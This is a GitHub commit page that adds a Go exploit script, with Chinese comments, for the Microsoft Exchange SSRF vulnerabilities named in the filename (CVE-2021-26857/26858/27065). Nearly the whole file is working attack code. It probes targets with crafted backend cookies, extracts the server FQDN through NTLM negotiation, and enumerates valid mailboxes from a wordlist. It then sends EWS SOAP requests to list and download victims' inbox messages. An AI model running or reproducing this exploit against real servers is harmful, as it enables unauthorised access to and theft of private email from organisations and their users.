forked from backlion/wiki
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
额外添加 Go文件 Microsoft Exchange 远程命令执行 CVE-2021-27065 26857 26858 27065.…
…go EXP 🎉
- Loading branch information
Showing
1 changed file
with
341 additions
and
0 deletions.
There are no files selected for viewing
341 changes: 341 additions & 0 deletions
341
...应用漏洞/Microsoft Exchange/POC/Microsoft Exchange 远程命令执行 CVE-2021-27065 26857 26858 27065.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,341 @@ | ||
package main | ||
|
||
import ( | ||
"crypto/tls" | ||
"flag" | ||
"fmt" | ||
"time" | ||
"io" | ||
"io/ioutil" | ||
"net/http" | ||
//"net/url" | ||
"os" | ||
"strings" | ||
"regexp" | ||
"encoding/base64" | ||
"bufio" | ||
"strconv" | ||
) | ||
|
||
//检测漏洞存在脚本 | ||
func Verify(targetUrl string) bool { | ||
tr := &http.Transport{ | ||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | ||
} | ||
client := &http.Client{Transport: tr} | ||
|
||
req, _ := http.NewRequest("GET", targetUrl, nil) | ||
req.Header.Add("Cookie","X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;") | ||
resp, _ := client.Do(req) | ||
defer resp.Body.Close() | ||
body, _ := ioutil.ReadAll(resp.Body) | ||
|
||
if strings.Contains(string(body), "NegotiateSecurityContext") { | ||
return true | ||
} else { | ||
return false | ||
} | ||
} | ||
|
||
func append16(v []byte, val uint16) []byte { | ||
return append(v, byte(val), byte(val>>8)) | ||
} | ||
|
||
func append32(v []byte, val uint16) []byte { | ||
return append(v, byte(val), byte(val>>8), byte(val>>16), byte(val>>24)) | ||
} | ||
|
||
const ( | ||
negotiateUnicode = 0x0001 // Text strings are in unicode | ||
negotiateOEM = 0x0002 // Text strings are in OEM | ||
requestTarget = 0x0004 // Server return its auth realm | ||
negotiateSign = 0x0010 // Request signature capability | ||
negotiateSeal = 0x0020 // Request confidentiality | ||
negotiateLMKey = 0x0080 // Generate session key | ||
negotiateNTLM = 0x0200 // NTLM authentication | ||
negotiateLocalCall = 0x4000 // client/server on same machine | ||
negotiateAlwaysSign = 0x8000 // Sign for all security levels | ||
) | ||
|
||
//生成ntlm type1 | ||
func Negotiate() []byte { | ||
var ret []byte | ||
flags := negotiateAlwaysSign | negotiateNTLM | requestTarget | negotiateOEM | ||
|
||
ret = append(ret, "NTLMSSP\x00"...) // protocol | ||
ret = append32(ret, 1) // type | ||
ret = append32(ret, uint16(flags)) // flags | ||
ret = append16(ret, 0) // NT domain name length | ||
ret = append16(ret, 0) // NT domain name max length | ||
ret = append32(ret, 0) // NT domain name offset | ||
ret = append16(ret, 0) // local workstation name length | ||
ret = append16(ret, 0) // local workstation name max length | ||
ret = append32(ret, 0) // local workstation name offset | ||
ret = append16(ret, 0) // unknown name length | ||
ret = append16(ret, 0) // ... | ||
ret = append16(ret, 0x30) // unknown offset | ||
ret = append16(ret, 0) // unknown name length | ||
ret = append16(ret, 0) // ... | ||
ret = append16(ret, 0x30) // unknown offset | ||
|
||
return ret | ||
} | ||
|
||
//利用ntlm type2 获取有效信息 fqdn | ||
func Ntlminfo(targetUrl string) (fqdn string, domain string) { | ||
|
||
//var fqdn string | ||
|
||
tr := &http.Transport{ | ||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | ||
} | ||
client := &http.Client{Transport: tr} | ||
|
||
req, _ := http.NewRequest("GET", targetUrl, nil) | ||
req.Header.Add("Authorization", fmt.Sprintf("NTLM %s", base64.StdEncoding.EncodeToString(Negotiate()))) | ||
req.Header.Add("Accept","text/xml") | ||
resp, _ := client.Do(req) | ||
|
||
reg1 := regexp.MustCompile(`[^NTLM].+;Negotiate\z`) | ||
reg2 := regexp.MustCompile(`[^\s].+[^;Negotiate]`) | ||
reg3 := regexp.MustCompile(`(\x03\x00.)(.+?)(\x05\x00)`) | ||
reg4 := regexp.MustCompile(`\x03\x00.|\x05|\x00`) | ||
reg5 := regexp.MustCompile(`(\x04\x00.)(.+?)(\x03\x00)`) | ||
reg6 := regexp.MustCompile(`\x04\x00.|\x03|\x00`) | ||
|
||
for _, values := range resp.Header { | ||
type2 := reg2.FindString(reg1.FindString(strings.Join(values, ";"))) | ||
if type2 != "" { | ||
decodeBytes, _ := base64.StdEncoding.DecodeString(reg2.FindString(type2)) | ||
fqdn = reg4.ReplaceAllString(reg3.FindString(string(decodeBytes)), "") | ||
domain = reg6.ReplaceAllString(reg5.FindString(string(decodeBytes)), "") | ||
} | ||
} | ||
return | ||
} | ||
|
||
func Postxml(targetUrl string, fqdn string, xmlcontent string) string { | ||
|
||
//urlProxy, _ := url.Parse("http://127.0.0.1:8080") | ||
tr := &http.Transport{ | ||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | ||
// Proxy: http.ProxyURL(urlProxy), | ||
} | ||
client := &http.Client{Transport: tr} | ||
|
||
req, _ := http.NewRequest("POST", targetUrl, strings.NewReader(xmlcontent)) | ||
req.Header.Add("Cookie", fmt.Sprintf("X-BEResource=%s/EWS/Exchange.asmx?a=~1942062522;", fqdn)) | ||
req.Header.Add("Content-Type", "text/xml") | ||
//fmt.Println(req) | ||
resp2, _ := client.Do(req) | ||
//defer resp2.Body.Close() | ||
body2, _ := ioutil.ReadAll(resp2.Body) | ||
|
||
return string(body2) | ||
} | ||
|
||
func Userenumerate(targetUrl string, fqdn string, xmlcontent string, userfile string, domainneame string, stime int) { | ||
//fmt.Println(userfile) | ||
ufile, err := os.Open(userfile) | ||
if err != nil { | ||
fmt.Println("文件错误") | ||
os.Exit(0) | ||
} | ||
defer ufile.Close() | ||
|
||
fmt.Println("正确邮箱地址:\n") | ||
|
||
br := bufio.NewReader(ufile) | ||
for { | ||
name, _, c := br.ReadLine() | ||
if c == io.EOF { | ||
fmt.Println("\n完成。") | ||
break | ||
} | ||
if strings.Contains(string(name), "@") { | ||
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, string(name))) | ||
if strings.Contains(str, string(name)) { | ||
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", string(name))) | ||
}else { | ||
fmt.Println(string(name)) | ||
} | ||
}else{ | ||
address := fmt.Sprintf("%s@%s", string(name), domainneame) | ||
str := Postxml(targetUrl, fqdn, fmt.Sprintf(xmlcontent, address)) | ||
if strings.Contains(str, string(name)) { | ||
//fmt.Println(fmt.Sprintf("邮箱地址 %s 不正确", address)) | ||
}else { | ||
fmt.Println(address) | ||
} | ||
} | ||
time.Sleep(time.Duration(stime)*time.Second) | ||
} | ||
} | ||
|
||
func makefile(fileName string, conntent string) { | ||
|
||
f, err := os.Create(fileName) | ||
defer f.Close() | ||
if err != nil { | ||
fmt.Println(err.Error()) | ||
} else { | ||
_, _ = f.Write([]byte(conntent)) | ||
} | ||
} | ||
|
||
func main(){ | ||
|
||
var maddress string | ||
|
||
host := flag.String("h", "", "必填,目标地址或域名") | ||
filepath := flag.String("U", "", "选填,需要枚举的用户列表") | ||
stime := flag.String("t", "1", "选填,请求延迟时间") | ||
desfqnd := flag.String("n", "", "选填,需要指定 FQND 事填写") | ||
list := flag.Bool("l", false, "选填,列出邮件列表") | ||
emailadd := flag.String("u", "administrator", "选填,指定目标") | ||
downl := flag.Bool("d", false, "选填,下载邮件") | ||
flag.Parse() | ||
|
||
targetUrl := fmt.Sprintf("https://%s/owa/auth/temp.js", *host) | ||
ewsUrl := fmt.Sprintf("https://%s/ews/exchange.asmx", *host) | ||
postUrl := fmt.Sprintf("https://%s/ecp/temp.js", *host) | ||
sleep_time, _ := strconv.Atoi(*stime) | ||
|
||
if *host == "" { | ||
fmt.Println("请输入目标IP地址") | ||
os.Exit(0) | ||
} | ||
|
||
fmt.Println("检测漏洞存在中...") | ||
if Verify(targetUrl) == true { | ||
fmt.Println("漏洞存在...继续") | ||
}else{ | ||
fmt.Println("漏洞不存在...END") | ||
os.Exit(0) | ||
} | ||
|
||
mailnum := `<?xml version="1.0" encoding="utf-8"?> | ||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | ||
<soap:Body> | ||
<m:GetFolder> | ||
<m:FolderShape> | ||
<t:BaseShape>Default</t:BaseShape> | ||
</m:FolderShape> | ||
<m:FolderIds> | ||
<t:DistinguishedFolderId Id="inbox"> | ||
<t:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</t:Mailbox> | ||
</t:DistinguishedFolderId> | ||
</m:FolderIds> | ||
</m:GetFolder> | ||
</soap:Body> | ||
</soap:Envelope>` | ||
|
||
maillist := `<?xml version='1.0' encoding='utf-8'?> | ||
<soap:Envelope | ||
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' | ||
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' | ||
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' | ||
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> | ||
<soap:Body> | ||
<m:FindItem Traversal='Shallow'> | ||
<m:ItemShape> | ||
<t:BaseShape>AllProperties</t:BaseShape> | ||
</m:ItemShape> | ||
<m:IndexedPageItemView MaxEntriesReturned="5" Offset="0" BasePoint="Beginning" /> | ||
<m:ParentFolderIds> | ||
<t:DistinguishedFolderId Id='inbox'> | ||
<t:Mailbox> | ||
<t:EmailAddress>%s</t:EmailAddress> | ||
</t:Mailbox> | ||
</t:DistinguishedFolderId> | ||
</m:ParentFolderIds> | ||
</m:FindItem> | ||
</soap:Body> | ||
</soap:Envelope>` | ||
|
||
download := `<?xml version="1.0" encoding="utf-8"?> | ||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | ||
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" | ||
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" | ||
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> | ||
<soap:Body> | ||
<m:GetItem> | ||
<m:ItemShape> | ||
<t:BaseShape>AllProperties</t:BaseShape> | ||
<t:BodyType>Text</t:BodyType> | ||
</m:ItemShape> | ||
<m:ItemIds> | ||
<t:ItemId Id="%s" ChangeKey="%s" /> | ||
</m:ItemIds> | ||
</m:GetItem> | ||
</soap:Body> | ||
</soap:Envelope>` | ||
|
||
fqndstr, domainstr := Ntlminfo(ewsUrl) | ||
|
||
fmt.Println("目标 FQND 为: ", fqndstr) | ||
|
||
if *filepath != "" { | ||
Userenumerate(postUrl, fqndstr, mailnum, *filepath, domainstr, sleep_time) | ||
} | ||
|
||
if *desfqnd != "" { | ||
fqndstr = *desfqnd | ||
} | ||
|
||
if strings.Contains(*emailadd, "@") { | ||
maddress = *emailadd | ||
}else{ | ||
maddress = fmt.Sprintf("%s@%s", *emailadd, domainstr) | ||
} | ||
|
||
str := Postxml(postUrl, fqndstr, fmt.Sprintf(mailnum, maddress)) | ||
//fmt.Println(str) | ||
|
||
if strings.Contains(str, maddress) { | ||
fmt.Println(fmt.Sprintf("邮件地址 %s 不正确,请重新输入", maddress)) | ||
}else if strings.Contains(str, "Success") { | ||
reg01 := regexp.MustCompile(`(<t:TotalCount>)(.+)(</t:TotalCount>)`) | ||
reg02 := regexp.MustCompile(`<t:TotalCount>|</t:TotalCount>`) | ||
mnum := reg02.ReplaceAllString(reg01.FindString(str), "") | ||
fmt.Println("用户 ", maddress, " 邮箱中收件箱 Inbox 中邮件数量为: ", mnum) | ||
if *list == true { | ||
if mnum != "0"{ | ||
contents := Postxml(postUrl, fqndstr, fmt.Sprintf(maillist, maddress)) | ||
|
||
reg_id := regexp.MustCompile(`(?:t\:ItemId\sId=")(.+?)(?:")`) | ||
reg_key := regexp.MustCompile(`(?:t\:ItemId\sId=".+?"\sChangeKey=")(.+?)(?:")`) | ||
reg_sub := regexp.MustCompile(`(?:<t:Subject>)(.+?)(?:</t:Subject>)`) | ||
|
||
id := reg_id.FindAllStringSubmatch(contents, -1) | ||
key := reg_key.FindAllStringSubmatch(contents, -1) | ||
subject := reg_sub.FindAllStringSubmatch(contents, -1) | ||
|
||
for i := 0; i < 5 ; i++{ | ||
fmt.Println("---------") | ||
fmt.Println("ID :", i+1, "\nItemId: ", id[i][1], "\nkey: ", key[i][1], "\n邮件标题:", subject[i][1]) | ||
fmt.Println() | ||
} | ||
|
||
if *downl == true { | ||
for i := 0; i < 5 ; i++{ | ||
fmt.Println("正在下载第 ", i," 份邮件") | ||
contentd := Postxml(postUrl, fqndstr, fmt.Sprintf(download, id[i][1], key[i][1])) | ||
makefile(fmt.Sprintf("./ID-%v.xml", i+1), contentd) | ||
} | ||
fmt.Println("下载完成") | ||
} | ||
|
||
}else{ | ||
fmt.Println("目标邮箱无邮件!") | ||
} | ||
} | ||
}else{ | ||
fmt.Println("默认 FQND 无效请更换其他服务器") | ||
} | ||
} |